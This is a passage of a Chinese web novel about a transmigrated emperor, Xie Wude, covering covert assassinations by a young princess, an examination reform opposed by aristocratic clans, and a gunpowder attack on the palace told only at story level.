亚夏顺手从谢吾德手里的巧克力棒中拿走了一个:“你找我有什么事?是觉得自己今天好心没好报,想要找我诉苦吗?” 谢吾德也不客气:“这不是废话吗?我最讨厌这种懦弱的人了。和这种人沟通累死了。” 要么像闷嘴葫芦,什么话都不肯说,也不肯找人帮忙,就一味挨打;要么就是嘴上说得通,但是就是不作出改变,光在那里让人难受。 静安公主比这还糟糕,她属于那种谁帮她,谁就低她一等的类型。 人可以懦弱,可以没用,但是别到这种让旁观者都来气的程度啊! 谢吾德真被搞得有点火大了。 “有的人性格就是那样,也没法勉强。”亚夏说道。 谢吾德虽然看不上那种人,但也不是完全不能理解。 谁还没有想过很多坏主意,但是最后都没有去做的时候呢? 人脑子里想的比实际做的要勇敢。这是一种常态。 “这可是封建时代的典型。”亚夏提醒道,“你不应该生气的。” 谢吾德扭头看着亚夏,看着他那种心平气和到完全没有情绪、就好像是石削泥塑的雕像一样平静的样子,听着亚夏继续说道:“你从和静安公主对话开始,你就应该感觉到了她是什么样的人,你应该已经有了心理准备,而且你就算生气也没用,所以就不要生气。” 亚夏说着比AI还要AI的话……不,其实人类现在最高水平的人工智能没这么刻板,比人类自己都要多愁善感,还会得人工智能精神病,收录到人工智能维修指南中的故障。 明明是一件复杂的事,被他说得好像是一加一一样简单。 感情上的事情哪有这么简单。 谢吾德深深叹了口气:“虽然你口口声声声称自己是人类,但我觉得,很多时候你看上去比我非人类多了。” “就跟忘了怎么当人类一样。” 亚夏用鼻孔出了一口气。 谢吾德立刻指着他说道:“你生气干什么?你知道我是这种性格,你从跟我说这话之前就知道了这件事,你跟我生气也没用。” 这也算是以其人之道还治其人之身了。 亚夏的情绪很快就稳定了下来,和谢吾德那种表面亢奋背地里气得不行完全不一样。 他面无表情地看着谢吾德,仿佛任何情绪在他身上都只是过眼云烟,就好像之前的波动不过是一阵涟漪。 “其实我们之间还是有一点点不一样的。”亚夏说道,“我不需要和别人接触,我只需要自己做好自己的事情就行了。但是你,你被‘信仰’污染了,你不可避免地会和其他人接触。你对这些事情感到愤怒,那么你想要做什么呢?你想要这个世界变成什么样子?” 谢吾德嗤笑一声,说道:“想都别想,我和你还有温特不一样,你们会想要拯救这个世界,解放那些被压迫的人,但是我从来都是统治者、是神明,我才不会做这种事情的。” 亚夏看着他,眼神变为了研究者的眼神:“天然被信仰固定,即使情绪上不喜欢,但是依旧不会做出与信仰你的人认为不符合你行为的事情吗?” “……你大爷的说得我好像是信仰的奴隶一样。”谢吾德扯着亚夏的头发,“根本就没占那么大的比例。” 亚夏被他扯得脑袋都歪了,但是还是跟个机器人一样无感情波动地看着他:“懂了,起码有百分之四十的比例。” “你能听别人真实的感受吗?” “我自己嘴硬到什么程度我有清晰的认知。”亚夏一板一眼地说道。 谢吾德真是服了这个本体了。 他怎么变成这个样子了啊? “那你打算怎么办?”亚夏看着谢吾德憋屈的表情,还是情商略微上线,问了。 “好了,你没用了。”谢吾德的腿一抖,把亚夏从屋檐抖下去,“找你吐个槽而已,不要放在心上。” 换个人就被他摔死了。 可是亚夏稳稳地落地,背着手看着谢吾德。 谢吾德说:“我做个暴君就好,其他的与我何干?” 亚夏不在乎,他准备走了. 未弊看着眼前的空气,他什么都看不到,但他感觉到自己的大腿被人悄悄顶了一下。 他知道,谢瑛已经完成了他们今天的计划。 过了一会,未弊听到那边乱了起来,未弊平静地下命令让人把这里封锁,作为帮凶,他却理直气壮地怀疑所有人, 未弊脸不红心不跳,他长得一脸正气,但是谁知道他是帮凶呢。 自然没有人找到刺客和凶器,最后未弊自然是抓个和今天被杀的人有冲突的家伙回去审问。 未弊从来都没担心过自己到时候没抓住凶手会被萧国皇帝惩罚,大不了直接跑。 祖父虽然年纪大了,但是身体还是很好的,完全能跑得动。 在离开萧国皇宫之后,他看着出现在眼前的谢瑛,再次提议:“要不以后还是由我来杀人吧。” 让一个小女孩去杀人,是个人都会觉得良心过不去。 未弊是真的有理想的人,如果没有理想,他又怎么会在已经在萧国皇帝器重他的时候依然选择效忠荣国。 他把自己定位在“谢家的忠臣”这个位置上。 谢瑛虽是个小女孩,但好歹是谢家的人。 让一个主家的孩子去杀人,他怎么都觉得说不过去。 谢瑛翻了个白眼,说道:“这是我的东西,你不要想着抢。” 未弊只能无奈举手道:“好的,好的。” 也许是自己和自己爷爷的沟通稍稍打动了谢瑛的心,但不能指望谢瑛绝对信任他们。 谢瑛宁愿自己去杀人,也不可能放任他们去触碰能让她保命的东西。 未弊与谢瑛合作解决掉的是那些会对荣国产生巨大威胁的人现在,荣国朝廷里心怀异志的人实在太多了。他们不可能,或者说很难找到机会直接对萧国皇帝下手,所以选择了剪除萧国那些在重要位置上、且对荣国威胁巨大的臣子。 几次成功的刺杀,让整个萧国朝廷都风声鹤唳,恨不得他们的皇帝立刻拿出章程来解决这件事。可惜萧国皇帝哪有什么良策,他只能尽量给重要臣子安排护卫,保障他们的安危,同时一步步排查可能的叛徒和眼线。 究竟是什么人做出这种事?反正,和谢瑛这个“已经失踪”的小孩子没有关系了。谁会怀疑一个柔弱无能的小孩子,能做出如此疯狂的事情呢?没人会觉得被杀者颈部的刀口方向,像是一个矮个子家伙干的。他们宁可怀疑是侏儒,也不会怀疑是个小孩。 未弊和谢瑛的配合,起初也算是“横扫无敌”。直到有一天,萧国的防备变得严密不同,他们终于找不到下手的机会了。 未弊只能叹了口气,他对谢瑛说道:“你别再出手了。再出手的话,你恐怕就要死在这里了。” 谢瑛满脸无谓地笑着:“我并在乎我会不会死。那只不过是一切的结束罢了。” 看着一个小孩子说这种话,未弊深深地叹了一口气,他望着窗外,看着南方。 南望又一年。 即使未弊从小接受着祖父的教育,但是他难免会觉得他们很离谱。 谢瑛吃穿不愁,但是除了吃穿不愁之外,她什么都没有。 别的孩子会被冻死饿死,但是谢瑛也会被杀死。 前者不是无迹可寻的,但是后者是不期而遇的。 “怎么算结束呢?”未弊问道,“这不还是没有杀掉萧国皇帝吗?” 谢瑛脸上的神情稍稍放松了一点,不再那么紧绷。她看着未弊,说道:“那你有什么打算?” 谢瑛看着这些东西,先问道:“这些拿给他们,他们就会相信我吗?他们不会怀疑我其实是萧国派来的探子吧?” 未弊立刻说道:“怎么会呢?你的长相也算是证据的一部分,你有那个神奇的匕首,就算他们不相信,想要抓住你,那你也可以成功跑回来。” “再说了,就算再有说服力,其他人也有理由怀疑这就是假的。”. 最近的天气一日比一日寒冷,甚至比往年都寒冷。 邱腾很想北上,但他需要考虑到北方是不是已经下雪了。就算没下雪,那也是冰冷刺骨的天气。 士兵需要拿着武器,他们的手指或者脚趾都很容易被冻掉。 邱腾是真正意义上爱兵如子的将军,所以除了少数几支精锐可以确定能在寒冷天气下保护自己之外,邱腾并没有再往外派大军。 不过好在之前萧国大军那边出了问题,他们大概无力再南下了。 萧国境内也许会死很多人,但是这和他们有什么关系呢? 邱腾本来还担心谢吾德来催他。 他想着如果谢吾德来催的话,也不是不能答应,但前提是能让谢吾德保证这些士兵不会因为严寒而出现伤病甚至死亡。 不过,谢吾德一点动静都没有。 邱腾又怀疑是不是谢吾德忘了这件事了。 对于谢吾德这个人,真是被他惦记着不是好事,忘了也不是好事。 工匠被从锦京调包过来的工匠倒是尽职,靠着他们,邱家军硬是吃透了几种新式武器的制造,并且因为有了快速通道,能把武器制造的模具从锦京那边直接运过来。 当初谢承修造反的时候还需要考虑不被皇帝发现,做得很隐蔽,所以武器生产也没办法铺开。 到了邱腾这里,他有谢吾德的授权,他无需束手束脚,可以放开胆子去大批量制造各种武器了。 冬天打仗虽然不现实,但是训练一下射击还是可以的。 邱腾还顺便琢磨了一下这种新式武器要怎么排兵布阵。 就在他跟邱潇说完自己排兵布阵的几个要点之后,他听到有人来汇报:“将军,有人从北方来了。” 北方?是他的探子吗? “谁?”他问。 “是一个小女孩。”来人的表情也很古怪,“她说她叫谢瑛。” 第89章 谢? 邱腾听到这个姓立刻打起了精神。 姓谢? 从北方来? 不会是那些被困在萧国的皇族之一吧? 不过为什么是小姑娘,小姑娘又能带来什么消息? 邱腾想了想,说道:“把人喊进来。” 在见到这个小女孩的时候,邱腾先是愣了一下——还真的是非常小的小姑娘。 他很快就认出了她和那个被萧国所杀的荣国先帝相似的部分。 只是那位被杀死的皇帝脸上有种富贵养出的散漫和骄矜感,但这个小女孩眼神里空空的,没什么神采,就那么站在那里,毫无生气。 邱腾赶紧给她倒了一杯热茶,让她好好坐下来,然后听她讲都发生了什么事情。 谢瑛开口,声音没什么起伏:“不知道你们有没有听过荣国皇宫最新的内乱……”. 这个世界上有许多为国家呕心沥血的人,但是对于谢吾德来说,那都不重要。 谢吾德对着余文彦说道:“朕要吃荔枝。” 余文彦低头看了看谢吾德手里拿着的荔枝,微妙道:“陛下,那您手上的是什么?” 您想吃荔枝就自己吃啊。 难道要余文彦帮他扒? 余文彦为人的确可以这么狗腿,但是谢吾德那爱干净的劲和他脑子有病的程度要不相上下了,他可不喜欢别人替他做这个。 “这难道不是荔枝吗?”谢吾德瞪着他,“没见识。” 余文彦当然见识过这个。 余文彦觉得最近自己已经支棱了很多,他觉得自己已经不再是谢吾德眼中可以被他随便抛弃的谢承修的幕僚了,勉强也算得上是谢吾德最得力的助手之一,所以他非常勇地说道:“陛下,不如移驾到岭南自己去吃?” 谢吾德用力一拍桌子:“你这是什么意思?难道朕的话已经不好用了吗?” 他来这个世界就是为了三件事:暴君,暴君还是当暴君! 自己跑过去算什么? “陛下,折磨人的方法不止一种,陛下要不要用其他的方式来折磨人?” 余文彦直接透过现象看本质。 谢吾德是想要吃荔枝吗? 他就是不知道犯了什么神经,忽然想要折磨人。 在谢吾德看来差不多的折磨人的方式但是在他们这些受害者眼中还是有点差别的。 谢吾德在这方面应该还是能说得通,所以余文彦想挑个自己喜欢的姿势。 谢吾德想了想,也是,他不喜欢荔枝,这年头水果还不知道口感怎么样,说道:“那好吧,换一个。现在锦京附近有多少农户?” 余文彦不假思索地就报出了一个数字。 可以说余文彦没骨气,可以说余文彦的忠诚度有限,但不能怀疑余文彦的能力。 他在谢承修手下也算是不可多得的人才,如果不是因为门第问题,他的确有宰相之资。 他干什么都行,简直是开局免费赠送的万金油角色,而且他也不像尔雅那么有自己的想法,他只想给皇帝当狗腿,至于皇帝是谁,那根本就不重要。 谢吾德听到余文彦报出的数字之后,觉得人也不少:“好。朕要办一场科举,就考考这些农户,看谁能考出最好的成绩,到时候让他们做大官。” 至于什么官位……谢吾德作为皇帝,对这些官位是一点都不熟悉,但是这不是有余文彦吗? 再说了,谁敢糊弄他? 谢吾德真敢杀人,只要谢吾德站在那里就是这个世界最大的威慑,即使上面想要威胁下面的人闭嘴也没用。 余文彦瞪大眼睛,他哽了半晌,说道:“陛下喜欢什么样的荔枝呢?” 大爷,您老还不如折腾荔枝呢。 荣朝选官是类似察举制和九品中正制之间的东西,所以才能被世家垄断,不是没有科举制,但是那都只能去干最苦最累的牛马。 “陛下,您想要做什么?”余文彦觉得自己的脑壳嗡嗡的。 “当然是让他们去当官啊。”谢吾德把荔枝塞进自己的嘴里。 余文彦觉得谢吾德就是在乱搞: 毫不夸张地说,一百个农户里能有一个人识字,那都算是那个村教育水平很高了。两位数加减法能做得顺溜,那都算是高智商人才了。 让他们当官……不,甚至是让他们科举,他们能不把墨水涂到自己的脸上都很厉害了。 “更何况那些农户也未必会领情。”余文彦说得还是委婉了,但凡不是谢吾德做这件事情,任何一个人都得骂着皇帝脑子有病。 “我管他们。”谢吾德又听不到,管他们怎么样。 “若是他们不会写字呢?”余文彦继续问。 谢吾德觉得这的确是个问题。 现在朝堂上的那些人也不急于更换,他这个人最多的就是时间了。 “那就选择一批六岁左右很聪明的孩子,给他们上课,让他们选择自己感兴趣的方向,最后让他们当官。”谢吾德看向余文彦,“这样怎么样?” 余文彦想了想。 其实事情没那么简单,但是谢吾德很有钱——广义意义上的钱,这个世界绝大多数的问题都可以用钱来解决。 不需要考虑支出问题,给谢吾德干活之后就会感觉到去做别的工作之后那种巨大的差距。 “陛下,您是真的一点都不在意自己的名声啊。”余文彦头疼。 “不在意啊。”谢吾德干脆地回答道。 余文彦的脸又黑了一点。可是他在意啊。 “可是作为皇帝,还是需要顾虑一下身份的……” 谢吾德无语地看着他:“我要注意什么身份?余文彦,你是不是太把自己当回事了?” “陛下,臣不是这个意思……” 余文彦的眼珠子转了几圈,忽然看到站在一旁侍立的王旭。 王旭感觉浑身上下一紧。 余文彦这个时候看他绝对没好事。 然后他就听到余文彦说道:“陛下,完全可以让琅琊王氏去做这件事” 王旭在心里把余文彦骂了一百遍。 这家伙是什么意思?! 就因为他们之前说的“人和人之间没有太大区别”的观点吗? 琅琊王氏不过是用这个借口生事罢了,并不是真的瞧得起那群泥腿子。 虽然朝堂在临川陈氏被大清洗之后变得空荡了许多,可是和临川陈氏之前看到的所有世家都被谢吾德煽动着普通人杀掉相比实在是幸运。 至少琅琊王氏和其他世家还在。 可是人总是贪得无厌的。 他们想要干的是让其他人对谢吾德或者是其他皇帝感到十分不满,让他们像是之前被谢吾德煽动杀掉世家全家那样杀掉“皇帝”,让他们世家成为这个世界真正的统治者。 官位是他们世家的传统自留地,怎么能让那些普通人把手插进去? 科举,太坏了。 而且还要他们琅琊王氏去做这件事…… 按照他们琅琊王氏的想法,这差事就该狠狠办砸。 这件事情既然交给他们办,那其实有很多把事情办砸的方法,这也是他们世家的常用手段之一。 世家无法推翻皇帝,却有把皇帝交代的事情搞砸的本事。 他们可以让皇帝的一切图谋落空。 只要这件事与他们世家的利益相悖,那么世家就会搞砸一切,或是把皇帝手中的棋子砸烂。 世家就跟个病娇一样,皇帝想要看一眼别人都不行。 谢吾德现在要他们做的事,正是非常动摇世家根基的事情。 谢吾德要从零开始,培养一批只听从于皇帝、背后没有强大家族势力的孩子。 这些人一旦被扶植起来,很可能会成为谢吾德的狂热追随者。 以他们为支点,就算谢吾德这种完全没手段全凭直觉操作的家伙都可以逐步废掉整个世家体系。 届时,皇帝做事就再也不必看世家的脸色了。 这实在太过危险了。 这等于给了这些人自我造血的能力,还有了与世家抗衡的资本。 更重要的是,谢吾德居然还让他们世家自己去做这件事。 自己挖坑自己埋是吧? 世家反对世家是吧? 牛头人都没做的这么过分的。 历朝历代皇帝但凡有敢这么做的,那大概率会被世家用明里暗里的手段弄死。 陛下何故造反? 已有取死之道。 只是现在,大人,时代变了。 别的皇帝就算想要当昏君,那也得担心一下自己会被人拉下来,可是谢吾德本来就是以真正意义上的一己之力登基,谁能把他拉下来? 像谢吾德这样谁都控制不了的疯子,若是世家不按照他的意思来办,那么谢吾德就能把世家这些玉石砸个粉碎,再不听话那就丢粪坑搅拌。 世家能够做的,只有低下头,乖乖听谢吾德的安排。 他很想说说余文彦,但又觉得余文彦本来就不是和他们这些世家站在一个立场上的,有这样的想法实属正常。 既然不能怪余文彦,那就该怪谢吾德了。 可谁又有这个胆子怪谢吾德呢? 王旭一口老血憋在心中,但他脸上的笑容却一点都没变,他不敢让谢吾德看出他有半点不情愿。 因为这样,谢吾德就更要把这件事塞给他了。 谢吾德果然在盯着他,但盯了一会之后,还是说道:“那这事交给你去做了。” 虽然王旭装得很好,但是谢吾德觉得他就是在装,世家绝对会炸毛的。 王旭用鼻孔微不可察地喷出一口气。 谢吾德听不到那个声音,但余文彦仿佛听到了,但是即使对他来说那气息轻得像幻听。 王旭努力保持着微笑,躬身:“臣,遵旨。” 谢吾德这个神经病什么时候滚蛋? 第90章 如果说有一个机会能够让自己的孩子脱离现在的阶层,去到更高层次,那么普通人会愿意吗? 太愿意了,这怎么会不愿意呢? 不过除了几个心大的家长之外,其他人心里也犯嘀咕:这皇帝到底想叫他们的孩子真的有好事吗?这种事情什么时候是可以落到他们头上的。 如果只有男孩的话,他们会怀疑皇帝想要把他们的孩子拉去做太监;但是谢吾德对性别没有限制,那他们就要怀疑谢吾德是不是想要把童男童女拉走献祭。 天上不会掉馅饼。 他们经历过苦难,对他们来说就没有从天而降的好处,只有从天而降的苦难。 能被他们得到的东西算是什么好东西? “你们在担心什么?”村长看着过来的小夫妻,他们带着自己的孩子过来问村长的意见。 村长很无奈。 他们不是第一个,也不是最后一个。 大家住一个村子基本上都是同宗的,村长也是他们的长辈,所以在听到这种事情的时候都想要来找村长要一个意见。 他们很心动但是却又不敢动。 他们觉得村长肯定知道很多内幕消息。 可是村长知道,自己也就是村里的一个老头,他能知道什么啊。 不过他的确有一些主意。 “皇帝陛下可没什么可以图你们的吧?”村长看看小夫妻带来的孩子,“还不知道你家孩子能不能被选上。” 这个小孩他也知道,现在看他那鼻涕都抹在衣服上的样子,就知道那些大人物很难瞧得上这种孩子。 看一眼都嫌脏。 有些性格恶劣的搞不好会故意纵马踩死这种小孩,还会洋洋得意地觉得自己做了一件好事。 谁不知道谢吾德是个从未见过的、行事古怪的皇帝,没听他强征暴敛,滥杀无辜——对于百姓来说世家并不怎么无辜。 只要他愿意,甚至能够给全天下人发吃的,这是从古到今从来没有过的事情。 可是谢吾德不就是钱多得没处花,就喜欢无缘无故给人好处吗? 村长的心里没什么恶意,但是这话不能随便说出来。 这对他们普通人来说没有半点坏处。 皇帝是一个吃饱了撑得慌的家伙,这种人比那些好像永远填不饱胃口的世家要好多了。 谢吾德送东西还是直接送达的,不需要中间商赚一波好感差价,所以所有人的好感都直接冲他去了。 反而是有一些比较贪心的人想要从百姓手里夺取这些东西,但是要么是被反抗的百姓给杀了,要么就是被锦衣卫巡查的人给杀了,这样一来反而是让其他人更加感激谢吾德。 谢吾德基本上就是一个白白净净的白莲花——这个词对他来说还挺罕见的。 “不是不信陛下。就是这事,太稀罕了。”小夫妻立刻说道。 他们对谢吾德也有一种奇特的信任。 如果参加考核的不是他们的孩子,而是他们自己,他们能收拾收拾就出发,犹豫一秒都是忠诚不绝对。 “再说了,皇帝有什么道理骗你们?”村长说,“他想杀谁就杀谁,那些世家,以前还有谁能收拾得了他们。想想他之前发的那些东西,他想要弄到什么完全可以神不知鬼不觉地拿走。” 谢吾德就算要做些什么,那也常常是当着所有人的面去做,轰轰烈烈的。 百姓和皇帝的距离十分远,但是现在荣国境内的人都清楚谢吾德的性格。 谢吾德就是直白,善意和恶意都是赤裸裸的。 所以只要谢吾德敢说,他们就敢信——这是一种朴实无华、甚至有些盲目地信任。 这个消息是谢吾德送到每一个人面前的,很多人都不识字,不过他们可以问。 这消息的真实性很高,只要能够被选上,那就是彻底翻身,不用在土里刨食了。 以前他们对那些官府的老爷们可以送万民伞之类的东西,但是他们对皇帝送什么并没有多少思路,他们都不知道该怎么报答这份恩情,大家只是给谢吾德立个长生牌位,希望谢吾德能长命百岁。 小夫妻犹豫来犹豫去,最后还是决定把孩子送过去参加考核看看。 不过,还是有很多人出于对陌生环境和未知前途的恐惧,没有立刻决定把孩子送出去. 谢吾德用不上那么多太监,李真手下的锦衣卫也算是无序扩张,他把很多在宫中没有多少工作的太监都招揽到自己的手上,做了锦衣卫。 现在,这些人也奔赴各地,带去谢吾德准备的试题,给那些愿意来的孩子做。 谢吾德手上最多的就是各个年龄段的专业试题。 这件事情的处理速度不会太快了,可能需要参加考核的人实在太多了,而且有些地方交通也不是很便利。 即便把锦衣卫送到附近最大的城市,路上也要花费不少时间。 在明年开春之前得到全部结果都算是效率极高了。 不过相比起锦衣卫四处奔波的事情,现在有另外一件大事——谢吾德的生日快到了。 谢吾德对于过生日并没有多少积极性。 地球绕着太阳转一圈,他就要过一次生日,每三百六十五天或者三百六十六天就要过一次生日,真的很烦。 但来这个世界不就是要体验么? 所以,当想讨好皇帝的官员和近侍小心翼翼提出想给皇帝过个万寿节时,谢吾德想了想,还挺愉快地接受了。 谢吾德的生日完全不需要任何换算。 如果是一般穿越者,或许还得纠结一下自己的阴阳历生日对不上,但谢吾德是同龄人中非常罕见地过阴历生日的人,所以在这件事上完全不需要一点纠结。 在古代,过生日也没什么太多花样,无非是歌舞、宴饮、接受朝贺。 艺术很高雅,不是不能欣赏,谢吾德沉下心来点评还有模有样的,但是这种艺术和他之间有壁。 谢吾德觉得,还不如自己发给全天下每人一块蛋糕来得更有意思。 今天他身边熟悉的人倒是不多。 尔雅现在在别的地方,亚夏偶尔会去找她,也算是兑现了之前的承诺。谢吾德对别人说的话自己未必放在心上,但亚夏总觉得谢吾德答应下来的事情就是他自己答应下来的事情。 高责任心的倒霉蛋。 李真最开始出现了一会,但作为锦衣卫的统领,他要负责整个庆典期间的安全,所以在向谢吾德献上了一份谢吾德并不怎么感兴趣的礼物之后,就去盯着各处了,以防真有不轨之徒出现。 余文彦也没有一直待着,他作为实际上的丞相,有的是工作要处理,待了一会便告退了。 这不算很合适,但是谢吾德在意爱是就说了可以随时离场,人少些他反而更自在。 随着宴席进行,宾客渐稀,谢吾德感觉周围逐渐清净下来,干脆趴在桌子上吃东西。 有人笑呵呵地端着过来一个杯子,谢吾德闻到了淡淡的酒味。 人有点眼熟,但是谢吾德不知道他叫什么。 谢吾德看了那酒杯一眼,注意到发绿的酒液,他就嫌弃地别开头。 这种酒给他洗手都不够格,蹭到他手上他还得再去洗一遍。 古代的绿蚁新酒对于现代人来说妥妥的重金属超标。 “我说,你们不应该都是非常注意皇帝喜好的吗?你们居然不知道我不喜欢喝酒?” 谢吾德单手撑着脸颊看着其他人。现在应该已经将近凌晨了。 十二点对他来说还远不到睡觉的时候,可是一般来说九点之后他就不想搭理人了,在加上今天晚上吃得有点多,已经开始有点晕乎了,整个人看上去像是要睡了一样。 被问的那个人说:“当然,只是不确定陛下有没有想要尝试点新东西的打算。” 谢吾德还在吃东西:“我不怎么喜欢尝试新东西。” 宫人识时务地退下了,他和人群中的某个人对上了视线。 谢吾德把脸贴在了桌子上。 他有点累了。 欣赏艺术也是需要消耗脑力的,每次认真见欣赏完作品他都觉得自己需要睡一觉。 谢吾德没眼力劲,但是宫人和来庆贺的大臣都很有眼力劲,他们的声音逐渐减小,然后一个个地退出去。 谢吾德没完全睡着, 在这种时候,谢吾德鬼使神差地说了一句:“真是安静,宫里也没什么人了……” 说着他打了一个哈欠,大脑开始有点断线了。 温特:【这算是个flag吗?】 温特好久都没有出现了。 可是谢吾德只是哼唧了一下,他已经要睡着了,没有搭理温特的精神。 过了一会,谢吾德隐约听到有人在大喊“走水了”。 他睁开一只眼看向了那个方向,别说身体了,连脸都没有动,不过外面的确有一些橙红色的火光,不过谢吾德并没有把这当回事。 区区消防警报。 火还能把他烧死吗? 谢吾德对死亡既无畏惧也无尊重。 就在他正准备闭上眼重新打个瞌睡的时候,忽然感觉到有一阵剧烈的震动,然后便是巨大的爆炸声。 谢吾德感觉自己的身体被忽然变得沉重了起来,就仿佛电梯迅速上升,感受到了超过一倍重力的力,甚至更过分,甚至他感觉自己的内脏都一紧。 他瞬间睁开眼睛,看到地面被扭曲,就好像是画家的荒诞画一样。 不对,有人在他屁股底下埋了炸弹! 这分明是被炸开了地面的砖石才形成这高低不平有如暴风雨时的海浪的场面。 刚刚外面的大火,实际上是为了掩盖引线才被点燃的。《 》 90-100 第91章 余文彦发出尖锐爆鸣,他在听到这件事的第一时间就匆匆从办公的地方跑了过来,他满脸慌张,生怕谢吾德出了什么事情。 如果皇帝现在真的被炸死,那还没有落到他手上的丞相之位就灰飞烟灭了,更何况之前那些事情,世家还想着找他算账呢。 如果有未来的好事缺德网友编排这一幕,大概会编排出“直到现在我才发现我爱你”这样狗血缠绵的桥段。 余文彦心里也是这么想的——直到现在他才发现他这么离不开谢吾德给他的权力。 “没事吧?陛下没事吧?”余文彦跑得上气不接下气的。 宫人唉声叹气,他们脸上的愁容不是装出来的。 皇帝在自己的皇宫中被人炸上了天,这事不管放在哪里,他们这些宫人都脱不了干系。 余文彦没空关心这些宫人的心理活动,他只是用眼神看了一圈,观察这些人的表情,然后声音冰冷道:“有没有抓到什么可疑的人?” 那些人都摇摇头。 余文彦稍加思索就明白了这是怎么回事。 这次的事情明摆着就是有人做的,凶手担心如果被人发现的话,就算自己嘴巴再严,也会在谢吾德面前暴露的。 在谢吾德在砍掉陈家老爷子并读取他记忆后,大家都知道了谢吾德有这样的能力。 不管谢吾德是真的还是假的 他们绝对不能让谢吾德抓到活人,就算是尸体也不行。 一个人能欺骗得了别人,但是欺骗得了自己吗? 自己脑海中的记忆是切切实实存在的。 余文彦双手攥紧,他低声骂了一句,骂得很脏。 宫人们抬头看了他一眼,却并不奇怪。他们这些宫人出身比较低微,对于这种脏话也算见怪不怪。 余文彦也看到了谢吾德。 谢吾德正用力揉着猫的肚皮,毫发无伤。 他可是提前给自己贴上了能量防护和精神防护,这些防护并不碍事,贴身附上多重防护也并不能阻碍他的行动,所以谢吾德现在活蹦乱跳的。 可是余文彦觉得,谢吾德情绪不平,任谁遇到这么大的事情恐怕都不会善罢甘休。 “陛下,您没事吧?”余文彦好奇地问道。 余文彦不敢问谢吾德有没有什么发现。 万一谢吾德真的不知道的话,那他这句话岂不是在谢吾德听来就是在嘲讽他? 谢吾德很有可能会因此发怒,所以他非常谨慎地先提出了自己的判断:“陛下,臣觉得此事可能和世家相关。” “又是世家?” 世家就像是想不出反派的作者随手拉出来的万金油。 当然,世家和世家是不同的,并不是说世家之间都一心,就像哺乳动物是纲,而这纲下还有不知道多少种的动物。 “是的,陛下,可能就是因为之前您想要重新选拔官员。”余文彦说道。 之前谢吾德提出的想要从零开始培训、要培养一批官员,就是触动了世家的利益。 余文彦之前也不是没有担心过这件事情,但是世家那边一只都没有动静,这让余文彦放松了警惕。 他觉得这些人应该是被谢吾德给吓到了。 可是他低估了世家人为财死鸟为食亡的程度,为了利益,他们是真的什么都敢做。 就算知道谢吾德那些恐怖的能力,他们也不会放过谢吾德的。 如果他们就这么妥协的话,那之后就真的是无颜去面对祖宗了。 虽然激怒谢吾德的后果可能是他们所有人都得死,但是没有这样垄断权力的世家和死了又有什么区别? 爆炸的地方正好是在大殿的正下方。 下方有一个地道,而火药就是被塞在了这里面,谢吾德对这个地道几乎一无所知。 即使谢吾德在皇宫下面挖了一个巨大的房间供自己休息,可是他并没有扫描地下……不,也不能说完全没有,只是他当时并没有深思,光是觉得这可能是什么小巧思,比如说他之前就听说过皇宫地下有一些类似地暖的结构,他根本就没想过那居然是个地道。 谢吾德平时主要是依靠五感加上法术感应去观察这个世界的。 法术感应能够感应到有人和法术流动,可是那些人在塞火药的时候谢吾德不在,火药也只是普普通通的物质。 谢吾德在除了法术之外其他的感知也不过是普通人类的程度,而且他还不是一个细心的人,这个把自己藏得很深的刺客做的也很仔细。 余文彦把六部的人都喊了过来,查一下当初这个宫殿的建立和修缮记录。 六部的长官不管在干什么,都得第一时间把手上的工作放下来处理这件事情。 这个皇宫是在北荣期间建的,当时是作为一个行宫,后来在南荣建立的时候又扩建了几次。 因为战乱,相关的资料已经遗失了,也可能是当初某个家族在挖了这个地道之后故意做了一些手脚,故意弄丢了这些资料。 所以六部也很麻爪,他们你看看我,我看看你,都不知道这件事情该从哪里下手,甚至他们中一些人都担心是自己家搞得。 天幕呢?剧透呢?来救一下啊! 谢吾德手太快了,把临川陈氏的人都杀了,现在好了,需要剧透的时候没人说了。 谢吾德想林耀祖恐怕也不知道这件事情,在原本的预测中,谢吾德杀了所有世家的人,他们没来得及动手脚就被谢吾德杀了,知道这个暗道的人自然只能无力地迎来死亡。 而且在未来这个皇宫可能受到了损毁,所谓的地道大概也很难被发现了。 这里是以宋朝为背景参考,但是却没有下一个朝代,整个世界直接迈入热武器时代,打起来破坏力格外大。 谢吾德摸着猫肚子,看着几个老头和一堆人把大堆大堆的资料翻出来,反复地去寻找这些东西,大概是半个时辰之后,他们看谢吾德还没走,就硬着头皮过来和谢吾德汇报一下阶段性的情报和推测。 这个地道可能是在前朝,或者说在更早的时候建立的。过去那么多年了,这个皇宫被反复修缮重建,很有可能在某个朝代,某个势力为了某种目的,比如说行刺或者篡位,就建立了这么一个地道,现在被人重新利用。 他们在这里面埋了大量火药,试图一口气直接把谢吾德炸死。 说到这里,恐怕刺客大概还得感谢谢吾德。 如果不是谢吾德支持邱家军搞火枪,也不会这么大量地制造火药。 在大批量的火药掩盖下,一个能把谢吾德和谢吾德身边的地砖炸上天的当量的火药并不难搞到。 但是线索还是很干净。 刺杀团体很谨慎。 不管成不成,这件事情必须做到不留下任何完整的人能够被谢吾德抓住读取记忆。 事情虽然不太好查,但对谢吾德来说也不是完全没有办法,把每个人的脑壳都砍下来检查他们的记忆。 理论上可以这么做,但是实际上谢吾德并不想要在这件事情上花费时间。 读取记忆也需要他静下心去读,用脑子去思考和检索,那是别人的脑子,不是他的。 亚夏给他配备的那个人工智能并不能在这方面辅助他,他又不像亚夏那种已经逐渐往疯狂科学家的方向发展,直接往自己大脑里面塞计算机。 所以要是一个个查下去,谢吾德觉得比起生气,他会更烦。 谢吾德一点都不想要像是流水线工人一样查明这件事情。 谢吾德在脑子里征询亚夏和温特:【快点承认吧,你们两个有没有在这个世界偷偷安插一些神探类的角色?什么神探狄仁杰、神探包青天都可以来一点嘛。】 温特果断说道:【压根就没有想过设定这种角色。】 这个世界绝大多数的人都是计算机自动计算安排出来的,只有特定的几个角色在设计的时候加上了亚夏和温特的一些小巧思,不过主要的还是以模糊的指令诞生的,比如“需要一个能给谢吾德当狗腿的人”、“一个比较有个性的女性”、“一个从未来穿越过来的穿越者”…… 但是他们从来没有想过要加一个侦探。 别看他们能够刷2000多集的柯南动画,但是看完了这些动画就跟流水一样从脑子里划过去,一点都没有留下印象,看到揭露凶手的时候,他们往往连凶手是谁都没能记得住。 看《福尔摩斯探案集》这类推理小说,更是恨不得一下子翻到最后直接看凶手是谁。 推理小说反转很有趣,但是他们的性格太急了。 就连线□□验密室逃脱,看着那些谜题,思考的也不是解谜,而是握着门把手,思考用多大的力气能把门给拆了。 所以在这种时候自然想不起来添加这种角色。 